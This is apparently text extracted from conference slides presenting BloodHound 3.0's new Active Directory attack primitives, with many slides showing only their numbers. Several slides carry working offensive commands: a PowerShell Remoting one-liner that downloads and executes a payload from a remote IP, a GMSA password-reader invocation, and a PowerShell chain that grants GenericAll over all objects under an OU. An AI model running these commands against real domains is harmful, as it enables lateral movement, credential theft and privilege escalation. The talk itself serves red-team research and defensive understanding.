BLOODHOUND 3.0
Agenda
3
Prior Work
4
Acknowledgements
5
New Attack Primitives
6
PowerShell Remoting
Use (yet another) legitimate Windows protocol for lateral movement
7
PowerShell Remoting
8
$session = New-PSSession -ComputerName win-2016-001
Invoke-Command -Session $session -ScriptBlock {IEX ((new-object net.webclient).downloadstring('http://192.168.231.99:80/a'))}
Disconnect-PSSession -Session $session��Remove-PSSession -Session $session
9
$session = New-PSSession -ComputerName win-2016-001; Invoke-Command -Session $session -ScriptBlock {IEX ((new-object net.webclient).downloadstring('http://192.168.231.99:80/a'))}; Disconnect-PSSession -Session $session; Remove-PSSession -Session $session
10
11
DEMO
12
GMSA Control
Read plaintext passwords of special service accounts in Active Directory
13
GMSA Control
14
15
16
GMSA: Best Practice vs Reality
Best Practice:
Reality:
17
GMSA: Reality
18
Attack Plan
We’ll read and use the plain text password of the GMSA account
We will need:
19
20
GMSAPasswordReader.exe --AccountName SQL01
21
Source: GMSAPasswordReader by Rohan Vazarkar
22
DEMO
23
24
25
GMSA Control Resources
26
SID History
The other “MemberOf” edge
27
SID History
28
29
30
31
FABRIKAM.LOCAL
32
FABRIKAM.LOCAL
CONTOSO.LOCAL
33
FABRIKAM.LOCAL
CONTOSO.LOCAL
34
FABRIKAM.LOCAL
CONTOSO.LOCAL
OU�Control
Push evil ACEs to descendent objects
35
OU Control
36
37
Attack Plan (easy mode)
We’ll grant ourselves full control of all descendent objects
We will need:
38
39
40
$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = `
$Guids.GetEnumerator() | `
Where-Object {$_.value -eq 'All'} | `
Select -ExpandProperty name
41
Source: New-ADObjectAccessControlEntry by Lee Christensen
$ACE = New-ADObjectAccessControlEntry`� -Verbose `� -PrincipalIdentity JBUI `� -Right GenericAll `� -AccessControlType Allow `� -InheritanceType All `� -InheritedObjectType $AllObjectPropertyGuid
42
Source: New-ADObjectAccessControlEntry by Lee Christensen
$OU = Get-DomainOU -Raw `� ‘d7d498c0-231a-4e0d-9ceb-1c5d1ea23807’
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule(`� $ACE)
$dsEntry.PsBase.CommitChanges()
43
Source: New-ADObjectAccessControlEntry by Lee Christensen
$Guids = Get-DomainGUIDMap; $AllObjectsPropertyGuid = $Guids.GetEnumerator() | Where-Object {$_.value -eq 'All'} | Select -ExpandProperty name; $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity JBUI -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectPropertyGuid; $OU = Get-DomainOU -Raw ‘d7d498c0-231a-4e0d-9ceb-1c5d1ea23807’; $DsEntry = $OU.GetDirectoryEntry(); $dsEntry.PsBase.Options.SecurityMasks = 'Dacl'; $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE); $dsEntry.PsBase.CommitChanges()
44
Source: New-ADObjectAccessControlEntry by Lee Christensen
45
46
Quality of Life Improvements
47
Quality of Life Improvements
48
Performance Improvements
49
Performance Improvements
50
THANKS!
51
Credits
Special thanks to all the people who made and released these awesome resources for free:
52